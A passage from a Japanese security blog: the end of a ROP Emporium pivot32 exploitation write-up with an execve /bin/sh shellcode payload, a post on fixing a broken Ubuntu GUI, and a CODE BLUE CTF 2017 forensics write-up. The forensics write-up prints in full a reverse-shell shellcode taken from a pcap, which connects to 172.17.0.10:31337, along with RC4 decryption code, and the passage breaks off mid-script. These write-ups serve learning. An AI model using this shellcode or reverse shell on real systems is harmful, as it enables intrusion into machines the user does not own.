EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa387c --> 0x0 
ESI: 0xf7fa2000 --> 0x1b1db0 
EDI: 0xf7fa2000 --> 0x1b1db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffbd2c ('B' <repeats 13 times>)
EIP: 0x80488a0 (<pwnme+174>:    ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804889b <pwnme+169>:    add    esp,0x10
   0x804889e <pwnme+172>:    nop
   0x804889f <pwnme+173>:    leave  
=> 0x80488a0 <pwnme+174>:   ret    
   0x80488a1 <uselessFunction>:   push   ebp
   0x80488a2 <uselessFunction+1>:    mov    ebp,esp
   0x80488a4 <uselessFunction+3>:    sub    esp,0x8
   0x80488a7 <uselessFunction+6>:    call   0x80485f0 <foothold_function@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffbd2c ('B' <repeats 13 times>)
0004| 0xffffbd30 ("BBBBBBBBB")
0008| 0xffffbd34 ("BBBBB")
0012| 0xffffbd38 --> 0x42 ('B')
0016| 0xffffbd3c --> 0x0 
0020| 0xffffbd40 --> 0x1 
0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32")
0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080488a0 in pwnme ()
gdb-peda$ 

100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.

このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.

stack pivotとは?

ももテクさんの記事がわかりやすいので引用させて頂くと,

xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が box1->buf に移動する。 そしてret命令が実行されると、 box1->buf の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトで box1->buf にデータを入れておけば、そのままそれが実行されていくことになる。

このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。

  • xchg esp,eax
  • mov esp,eax
  • add esp,[some constant]

inaz2.hatenablog.com

つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.

usefulGadgets

gdb-peda$ disas usefulGadgets 
Dump of assembler code for function usefulGadgets:
   0x080488c0 <+0>:  pop    eax
   0x080488c1 <+1>: ret    
   0x080488c2 <+2>: xchg   esp,eax
   0x080488c3 <+3>: ret    
   0x080488c4 <+4>: mov    eax,DWORD PTR [eax]
   0x080488c6 <+6>: ret    
   0x080488c7 <+7>: add    eax,ebx
   0x080488c9 <+9>: ret    
   0x080488ca <+10>:    xchg   ax,ax
   0x080488cc <+12>:    xchg   ax,ax
   0x080488ce <+14>:    xchg   ax,ax
End of assembler dump.

usefulFunctionも見ておきます.

usefulFunction

gdb-peda$ disas uselessFunction 
Dump of assembler code for function uselessFunction:
   0x080488a1 <+0>:  push   ebp
   0x080488a2 <+1>: mov    ebp,esp
   0x080488a4 <+3>: sub    esp,0x8
   0x080488a7 <+6>: call   0x80485f0 <foothold_function@plt>
   0x080488ac <+11>:    sub    esp,0xc
   0x080488af <+14>:    push   0x1
   0x080488b1 <+16>:    call   0x80485e0 <exit@plt>
End of assembler dump.

foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.

問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.

つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.

payload = ""
payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80"  # shellcode
payload += "\n"
payload += "A" * 44
payload += p32(pop_eax)
payload += p32(pivot_addr)
payload += p32(xchg_esp_eax)

ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.

gdb-peda$ vmmap 0xf7dedf08
Start      End        Perm  Name
0xf6dee000 0xf7df0000 rw-p  mapped

rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.

少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.

pedaで見てみます.vmmapというコマンドを使います.

gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x08049000 r-xp    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0x08049000 0x0804a000 r--p    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0x0804a000 0x0804b000 rw-p  /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32
0xf6dee000 0xf7df0000 rw-p  mapped
0xf7df0000 0xf7fa0000 r-xp    /lib/i386-linux-gnu/libc-2.23.so
0xf7fa0000 0xf7fa2000 r--p    /lib/i386-linux-gnu/libc-2.23.so
0xf7fa2000 0xf7fa3000 rw-p  /lib/i386-linux-gnu/libc-2.23.so
0xf7fa3000 0xf7fa6000 rw-p  mapped
0xf7fd0000 0xf7fd1000 r-xp    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd1000 0xf7fd2000 r--p    /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd2000 0xf7fd3000 rw-p  /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so
0xf7fd3000 0xf7fd5000 rw-p  mapped
0xf7fd5000 0xf7fd7000 r--p    [vvar]
0xf7fd7000 0xf7fd9000 r-xp    [vdso]
0xf7fd9000 0xf7ffb000 r-xp    /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 rw-p  mapped
0xf7ffc000 0xf7ffd000 r--p    /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p  /lib/i386-linux-gnu/ld-2.23.so
0xfffdc000 0xffffe000 rw-p  [stack]

0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.

ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.

今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.

  1. 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
  2. 2度目のfgetsでBoFさせてstack pivot
  3. 1度目のfgetsで格納したものが実行されていく

3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.

gdbでやってみると,

$ gdb libpivot32.so
i Reading symbols from libpivot32.so...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x000005c0  _init
0x00000600  printf@plt
0x00000610  system@plt
0x00000620  exit@plt
0x00000640  __x86.get_pc_thunk.bx
0x00000650  deregister_tm_clones
0x00000690  register_tm_clones
0x000006e0  __do_global_dtors_aux
0x00000730  frame_dummy
0x0000076c  __x86.get_pc_thunk.dx
0x00000770  foothold_function
0x0000079b  void_function_01
0x000007c9  void_function_02
0x000007f7  void_function_03
0x00000825  void_function_04
0x00000853  void_function_05
0x00000881  void_function_06
0x000008af  void_function_07
0x000008dd  void_function_08
0x0000090b  void_function_09
0x00000939  void_function_10
0x00000967  ret2win
0x00000995  __x86.get_pc_thunk.ax
0x0000099c  _fini

foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.

以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.

exploitは以下のようになります.

exploit

pivot32

$ python pivot32-exploit.py
[+] Starting local process './pivot32': pid 21546
[*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[+] Receiving all data: Done (259B)
[*] Process './pivot32' stopped with exit code 0 (pid 21546)
@\x85��`\x03���Z��pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08
Send your second chain now and it will land there
> Now kindly send your stack smash
> ROPE{a_placeholder_32byte_flag!}

最後に

ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.

以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.

UbuntuのGUIが死んだ日

はじめに

先日,仙台CTFというイベントに参加したのですが,その際VirtualBoxに入れてある普段本当によく使うUbuntu16.04が,GUIが死んで画面が真っ暗になるという事故が起きていました.

このイベントでは仮想マシンが事前に配られてそれを使うのですが,CTF中は使い慣れたマシンも使いたいという思いがあったので,焦りました.

なんでこんなことが起きたのかというと,自分はWindows10でVirtualBoxを使っているのですが,会場でPCを1度シャットダウンする機会があったんですね.そこで,よく「起動中のプログラムがありますが,本当にシャットダウンしますか?」みたいにOSが気をきかせて言ってくることがあると思うんですけど,その際VirtualBoxが起動していたのですがそのまま気にせずシャットダウンしてしまいました.

今までもそれで不都合が起きたことはなかったので気にはしていなかったのですが,再びWindowsを起動し,VirtualBoxも起動してUbuntuを立ち上げてみたら,

f:id:ywkw1717:20171114071309p:plain

真っ暗なんですね.

流石に焦ったのですが,「Ubuntu 真っ暗」とかで検索かければまぁいろいろ出てくる出てくるで,いくつか試せば簡単に直るやろ!wと思って試してみるも全く直る気配なし.

結局,Ubuntu14.04も入れてあったので,そちらを使ってなんとか乗り切りました.

その後

頑張って直しました.

試したことを時系列順に書こうかと思ったのですが,3つのカテゴリーに分けて箇条書きにしました.

役に立ったこと

/sbinへのPATHが通っておらず,upstart-udev-bridgeがないというエラーが出ていたので,/etc/environmentにPATHを書いた

.xsession-errors を見てみると,以下のようなエラーが出ていました.

f:id:ywkw1717:20171114073323p:plain

そこで, /etc/environment

PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/games:/usr/local/games"

という, .zshrc に書いていたPATHをこちらにも書きました.

これが一番の原因だったっぽい.

lightdmのログを見てみる

/var/log/lightdm/lightdm.log を見てみて,どれが原因なのかわからなかったけど,確かここで上記の .xsession-errors という単語を知ったので,一応は役に立った?

役に立ったのか不明なこと

デスクトップ環境をUnityからGnomeに変更

ディスプレイマネージャーであるlightdmの原因かな?と思い,再インストールやらなんやらやっても直らなかったので,Unityの問題である可能性を考えて,Gnomeを入れてみた.

sudo apt-get install ubuntu-gnome-desktopsudo apt-get install gnome どっちか(それとも両方?)実行した気がする.

(他にも tasksel 使って入れてみたりしたかな?覚えてない)

結局これだけでは直らなかったので,不明.

自動ログインをやめる

自動ログインするように設定していると,デスクトップ環境を選べないため.

これを行ったところ,ログイン画面では止まるようになったが,ログイン後なにも出てこず.

無駄だったこと

unity --reset

コマンドを打つととりあえずGUI環境は出てくるが,全画面表示にならないので,Ctrl + Alt + F7で全画面表示.

再起動するとダメだった.

startx

コンソールから startx を入力することによって,とりあえずGUIは使えるようになったけど,根本的な原因が解決することはなかった.

/var/log/Xorg.0.logにfbdevのエラーが出ていたので,fbdevを入れてみる

GUIが死んだときに真っ先に Xorg.0.log を見て,怪しそうなところを対処してみたやつ.

sudo apt-get install xserver-xorg-video-fbdev

直らない.却下.

sudo apt-get purge xserver-xorg-video-fbdev

compizの問題を疑い,これを初期化してみる

  1. 起動後,Ctrl + Alt + F1でコンソールに入る
  2. DISPLAY=:0.0 gnome-terminal を入力
  3. Alt + F7でデスクトップ画面に復帰すると,新しい端末ウィンドウが出ているので, dconf reset -f /org/compiz/ を入力
  4. sudo shutdown -r now

これもダメだった.

ubuntu-desktopの再インストール

sudo apt-get install --reinstall ubuntu-desktop

これもダメ.

ディスプレイマネージャーの故障を疑い,初期化

/etc/X11/default-display-manager には /usr/sbin/lightdm とあったので,

dpkg-reconfigure lightdm

ダメ.

ディスプレイマネージャーの故障を疑い,再インストール

sudo apt-get purge lightdm からの sudo apt-get install lightdm

ダメ.

lightdmがダメなのかと考え,gdmに変更してみる.

/etc/X11/default-display-manager の内容を /usr/sbin/gdm3 に変更.

すると,起動時に The system is running in low-graphics mode というエラーが出てきて論外.

この後,いろいろやってみてもgdmがダメそうなので,lightdmに戻した.

xorg.confがなかったので,/etc/X11に配置してみる

最初は拾ってきたものを配置してみたけどダメなので,ちゃんとしたものを配置してみる.

Xorg -configure で自分の環境に合った xorg.conf を自動生成してくれる便利コマンドがあるのですが,確かそのまま実行しようとするとエラーを吐かれるので,

  1. sudo systemctl stop lightdm
  2. sudo systemctl disable lightdm

で,ディスプレイマネージャーであるlightdmを止めてから無効化する.

すると, Xorg -configure が通るので,生成された xorg.conf/etc/X11/ 以下に配置.

再起動してみるも,変わらず.ダメ.

VirtualBoxのGuest Additionsを入れなおす

どこかで見かけてやってみたけどダメ.

まとめ

OS入れ直したほうが早いんじゃね?とか思った時もあったので,直ってよかった.

GUIが死んだときに真っ先に見るべき場所としては, /var/log/Xorg.0.log$HOME/.xsession-errors だと思う.

なんのイジメなのか2点ほど新しくバグが出ていて,1つは PrtSc を押すとフリーズするってやつと,もう1つは2回に1回ぐらいログイン画面でフリーズしてコンソールにも入れなくなるというバグ.

そろそろ他のLinux使えっていうことなんですかね.

参考

Linuxをインストールしたのに画面が黒いままで起動しないときの対処例

なんでもかんでもコンピュータ | So-netブログ

本の虫: Ubuntu 14.04のUnityの設定をぶっ壊した場合の修復方法

Ubuntu 16.04 LTS : GNOMEデスクトップ環境 : Server World

Ubuntu Unity その4 - Unity(Compiz)の設定を初期化する - kledgeb

Ubuntu 16.04 Unityが死亡したときの復旧メモ - ばずなダイアリー

Ubuntu 12.10 をインストールしたら low graphics mode になった話 - ぼくたち宇宙人

Ubuntuを起動したら「The system is running in low-graphics mode」と表示され、GUI環境が立ち上がらない - ITに疎いけど興味ある人のブログ

Ubuntuでtasksel : がらくた雑記blog

Ubuntu 14.04でログイン後ランチャーもツールバーも表示されない問題の復旧 - M12i.

Ubuntu系でGUIログイン出来ないのファイル破損かもよ - ぷちてく - Petittech

X Window が起動しなくなった! – KUJIRA note

Blank screen at boot - errors from Upstart on 16.04 - Ask Ubuntu

CODE BLUE CTF 2017 - Incident Response - Writeup

開催期間(JST)

11/09 AM10:00 ~ 11/10 PM4:00

結果

・チーム名:wabisabi

・得点:136 pt

・順位:得点したチーム中,138/555

はじめに

最初は難しすぎる印象があって参加する気がなかったのですが,いざ開始したのを見ると問題だけでも見てみるか,となって結局普通に参加してました.

ですが,Rev問が1問もわからずに諦めかけていたところ,チームメイトの一人が暗号を1問通してくれたので,やる気を取り戻してMiscのIncident Responseをやり始めました.

結局あと少しのところで解けなかったのですが,終了後に作問者のCharo_ITさんのツイートでなるほど,となって解けました.

以下,Writeupです.

Writeup

問題文

We found some strange activities on our web server.
Can you find out what happened?

与えられたターボールを解凍すると, log.pcap という名前のpcapファイルが得られるので,wiresharkで開いてみます.

f:id:ywkw1717:20171111005115p:plain

怪しそうなところをFollow TCP Streamしたところです.

sessidとかはよくわかりませんが...GETなのにデータがくっついてるっぽいです.このバイナリデータはなんでしょうか?

ここの 172.17.0.10 から 172.17.0.2 に対してのHTTPリクエストが,上記のGETリクエストっぽいです.添付されてるデータをRaw(無加工)形式で抽出してみます.

f:id:ywkw1717:20171111005830p:plain

全く分からないバイナリなので,ビットマップ表示してみます.

f:id:ywkw1717:20171111010713p:plain

まだそんなに見慣れていないので断定はできませんが,ELFとかPEとかの実行形式っぽい?でしょうか.

アセンブルしてみます.

$ objdump -b binary -m i386 -M intel -D data > data.dis

f:id:ywkw1717:20171111011353p:plain

中に /bin/sh という文字列があるのですが,そこら辺を上手く逆アセンブルできてないっぽいので,x86-64で再度逆アセンブルしてみます.

$ objdump -b binary -m i386:x86-64 -M intel -D data > data.dis

f:id:ywkw1717:20171111011411p:plain

今度はちゃんといけてるっぽいですね!

あとはこれをひたすら解析していきます.

先頭のほうを見るとわかるのですが, jmp 0x1ba という命令があり,0x1baから始まる関数がmainっぽいです.

残りのバイナリもひたすら読んでいくと,mainとは別に3つの関数があるのがわかります.さらに,システムコールを呼ぶだけの関数?が10個以上あります.

システムコール/usr/include/x86_64-linux-gnu/asm/unistd_64.h を見ながら解析しました.

先頭のほう.

f:id:ywkw1717:20171111012317p:plain

/dev/urandom からデータを読み込む関数. read_urandom と名付けます.

f:id:ywkw1717:20171111012349p:plain

read_urandom で読み込んだ32バイトを元に,なにかテーブルっぽいものを作っている関数. make_table と名付けます.

f:id:ywkw1717:20171111012454p:plain

わからんが,なにか作ってそう. make_something と名付けます.

f:id:ywkw1717:20171111012543p:plain

静的解析だけでもリバースシェルっぽいなとはわかるのですが,詳細な動作はわかりませんし, connect ではどのホストでどのポートに繋いでいるのかもわかりません.

静的解析には限界があるので,動的解析に移りたいです.

先頭の jmp 0x1ba より前の10バイトはゴミっぽいので除いておきます.

char code[] = "\xe9\xab\x01\x00\x00\x48\x31\xc0\x0f\x05\xc3\x48\x31\xc0\x48\xff\xc0\x0f\x05\xc3\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x03\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x09\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x48\xc7\xc0\x16\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x29\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x2a\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3d\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x55\x53\x48\x89\xfd\x48\xb8\x2f\x64\x65\x76\x2f\x75\x72\x61\x31\xf6\x48\x83\xec\x18\x48\x89\xe7\x48\x89\x04\x24\xc7\x44\x24\x08\x6e\x64\x6f\x6d\xc6\x44\x24\x0c\x00\xe8\x56\xff\xff\xff\x48\x89\xee\x89\xc3\xba\x20\x00\x00\x00\x89\xc7\xe8\x36\xff\xff\xff\x89\xdf\xe8\x48\xff\xff\xff\x48\x83\xc4\x18\x5b\x5d\xc3\x0f\x1f\x00\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6\xf3\xc3\x66\x90\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0\xf3\xc3\x0f\x1f\x40\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x41\x57\x41\x56\x31\xc0\x41\x55\x41\x54\xb9\x21\x00\x00\x00\x55\x53\x48\x81\xec\xb8\x01\x00\x00\x48\x8d\xac\x24\xa0\x00\x00\x00\x48\xc7\x44\x24\x60\x00\x00\x00\x00\x48\xc7\x44\x24\x68\x00\x00\x00\x00\x48\xc7\x44\x24\x70\x00\x00\x00\x00\x48\xc7\x44\x24\x78\x00\x00\x00\x00\x48\x89\xef\x48\xc7\x44\x24\x50\x00\x00\x00\x00\x48\xc7\x44\x24\x58\x00\x00\x00\x00\xf3\x48\xab\xe8\x4c\xfe\xff\xff\x85\xc0\x0f\x85\xe7\x01\x00\x00\x31\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xe8\x1f\xfe\xff\xff\x48\x8d\x5c\x24\x60\x48\x8d\x74\x24\x50\xba\x02\x00\x00\x00\xb9\x7a\x69\x00\x00\x66\x89\x54\x24\x50\x89\xc7\xba\x10\x00\x00\x00\x66\x89\x4c\x24\x52\x41\x89\xc4\xc7\x44\x24\x54\xac\x11\x00\x0a\x4c\x8d\x74\x24\x40\xe8\xef\xfd\xff\xff\x48\x89\xdf\xe8\x24\xfe\xff\xff\xba\x20\x00\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x8f\xfd\xff\xff\x48\x89\xde\x48\x89\xef\xe8\x59\xfe\xff\xff\x45\x31\xc9\x41\xb8\xff\xff\xff\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe\x00\x10\x00\x00\x31\xff\xe8\x82\xfd\xff\xff\x48\x89\xc3\x48\x8d\x44\x24\x30\x48\x89\x44\x24\x08\x48\x8d\x44\x24\x20\x48\x89\x44\x24\x18\x48\x8d\x84\x24\x80\x00\x00\x00\x48\x89\x44\x24\x10\x66\x0f\x1f\x44\x00\x00\xba\x00\x10\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x25\xfd\xff\xff\x48\x85\xc0\x0f\x84\x17\x01\x00\x00\x48\x3d\x00\x10\x00\x00\x74\x04\xc6\x04\x03\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x4d\xfe\xff\xff\x48\x8b\x7c\x24\x08\xe8\x28\xfd\xff\xff\xe8\x4b\xfd\xff\xff\x85\xc0\x41\x89\xc5\x74\x67\x8b\x7c\x24\x34\xe8\xfc\xfc\xff\xff\xeb\x20\x0f\x1f\x40\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x1a\xfe\xff\xff\x4c\x89\xfa\x48\x89\xde\x44\x89\xe7\xe8\xc7\xfc\xff\xff\x8b\x7c\x24\x30\xba\x00\x10\x00\x00\x48\x89\xde\xe8\xb0\xfc\xff\xff\x48\x85\xc0\x49\x89\xc7\x75\xcb\x8b\x7c\x24\x30\xe8\xb8\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xc9\x31\xd2\x44\x89\xef\xe8\x03\xfd\xff\xff\xe9\x54\xff\xff\xff\x0f\x1f\x40\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x31\xff\xc6\x44\x24\x22\x00\x48\x89\x44\x24\x40\xb8\x2d\x63\x00\x00\x4c\x89\xb4\x24\x80\x00\x00\x00\x66\x89\x44\x24\x20\x48\x8b\x44\x24\x18\x48\x89\x9c\x24\x90\x00\x00\x00\x48\xc7\x84\x24\x98\x00\x00\x00\x00\x00\x00\x00\x48\x89\x84\x24\x88\x00\x00\x00\xe8\x50\xfc\xff\xff\x8b\x7c\x24\x30\xe8\x47\xfc\xff\xff\x8b\x7c\x24\x34\xbe\x01\x00\x00\x00\xe8\x5a\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xd2\x4c\x89\xf7\xe8\x73\xfc\xff\xff\xe9\xd7\xfe\xff\xff\x0f\x1f\x80\x00\x00\x00\x00\x31\xff\xe8\x6a\xfc\xff\xf";

int main(){
  (*(void (*)())code)();
}

ももテクさんの記事( Linux x86用のシェルコードを書いてみる - ももいろテクノロジー )を参考にしました.

以下が,gdb-pedaで解析時の connect を呼ぶ時の引数です.

Guessed arguments:
arg[0]: 0x3 
arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 
arg[2]: 0x10 
arg[3]: 0x697a ('zi')

connect を呼ぶ時の引数は connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 16) のようになっているはずですが,そう考えると

arg[0]: 0x3 <- 3
arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 <- {sa_family, sin_port, sin_addr}
arg[2]: 0x10 <- 16
arg[3]: 0x697a ('zi')

こんな感じでしょうか.4つ目の引数はよくわかりません.

0xa0011ac697a0002 のうち,どれがホストでどれがポート番号なのかわからないので,ソケット通信するプログラムを拾ってきて,調べたところ,

0a0011ac(ac 11 00 0a -> 172.17.0.10) -> inet_addr
697a(7a69 -> 31337) -> htons
0002(0200 -> AF_INET?)

こんな感じになっていることがわかりました.

ここまでの解析結果をまとめると以下のようになります.

  • 攻撃者(172.17.0.10)と思われる側からサーバ側(172.17.0.2)になんらかの脆弱性を突かれて,シェルが開いた
  • サーバ側から結果を受け取る攻撃者のポート番号は31337

pcapファイルにて,ポート番号31337でフィルター(tcp.port == 31337)してみます.

f:id:ywkw1717:20171111021458p:plain

3way handshake後,なんらかのデータがサーバ側から送られてることがわかります.

32バイトのデータが送られてきている部分↓

f:id:ywkw1717:20171111021828p:plain

2バイトのデータを送っている部分↓

f:id:ywkw1717:20171111021943p:plain

54バイトのデータが送られてきている部分↓

f:id:ywkw1717:20171111022137p:plain

これらを見て,最初の32バイトはわからないにしても, 短いデータを送っているのはコマンドその後返ってきているのは実行結果 みたいに見えてきませんかね?

ただ,暗号化されているっぽくて全く内容はわかりません.

2バイト送っているのは, lsid とかでしょうか.

とにかく,この暗号化されたデータを復号すればフラグが出てきそうです.

再び,逆アセンブル結果を見てみます.

データを送っているのは write を読んでいるところのはずなので,そこに注目して見ていくと,2つのwriteがあることがわかります.

1つは read_urandom を呼んだ後.

もう1つは make_something を呼んだ後.

となると,上記の最初に送られてきている32バイトのデータは /dev/urandom から読み取った値っぽいです.

これが鍵になるのでしょうか?

暗号に疎く,方式が全く分からないので,なにか換字式っぽいものなのかなとしか見当がつきませんでした.

そこで,ローカルでこの環境を再現しようと考えました.

pythonでソケット通信するプログラムを書き,リバースシェル側から /dev/urandom の値が送られてきたら,上記の最初に送っているコマンドっぽい2バイト( \x50\xbd )を送り返すようにします.

/dev/urandom はどうするかというと,上記の32バイトがそれっぽいので,これを urandn とかいうファイル名で /dev 以下に保存しておき,リバースシェルのバイナリの urandom という文字列を urandon に変更して,そこから読み取るようにしました.

これでgdbでステップ実行していくと...

read を呼んで \x50\bd がリバースシェル側に送られた後, make_something が実行されます.

実行後のRBXの値が

RBX: 0x7ffff7ff5000 --> 0x6469 ('id')

ビンゴです!これで他の結果も復号できると考えたのですが...できず.どうやら使用している鍵が変わっているっぽくて,さらに言うと実行結果がどう暗号化されて返ってきているのかも,解析することはできませんでした.

結局復号ができず,仮眠を取って起きてみたらCTFは終了していました.

悔しすぎるのでTwitterで情報収集していたところ,作問者のCharo_ITさんからこんなツイートが.

暗号化方式はRC4というものらしいです.

聞いたことがあるような無いようなもので,調べました.ここでも,ももテクが出てくる辺りももテクすごい.

inaz2.hatenablog.com

ストリーム暗号というものに該当するらしいですね.

上記の記事にあるコードの,keyを /dev/urandom の32バイトに,messageを \x50\xbd に変更して実行してみる.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

def KSA(key):
    # key から256マスの変換テーブル S を作る
    S = range(256)
    j = 0
    for i in xrange(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    return S

def PRGA(S):
    # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(data, key):
    # data がメッセージなら暗号化、暗号文なら復号する
    S = KSA(key)
    gen = PRGA(S)
    data = bytearray(data)
    result = bytearray(c ^ n for c, n in zip(data, gen))
    return str(result)

# 鍵とメッセージを準備
key = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda'
message = '\x50\xbd'

# 暗号化して、復号する
print "key: %r (%d bits)" % (key, len(key)*8)
print "message: %r" % message
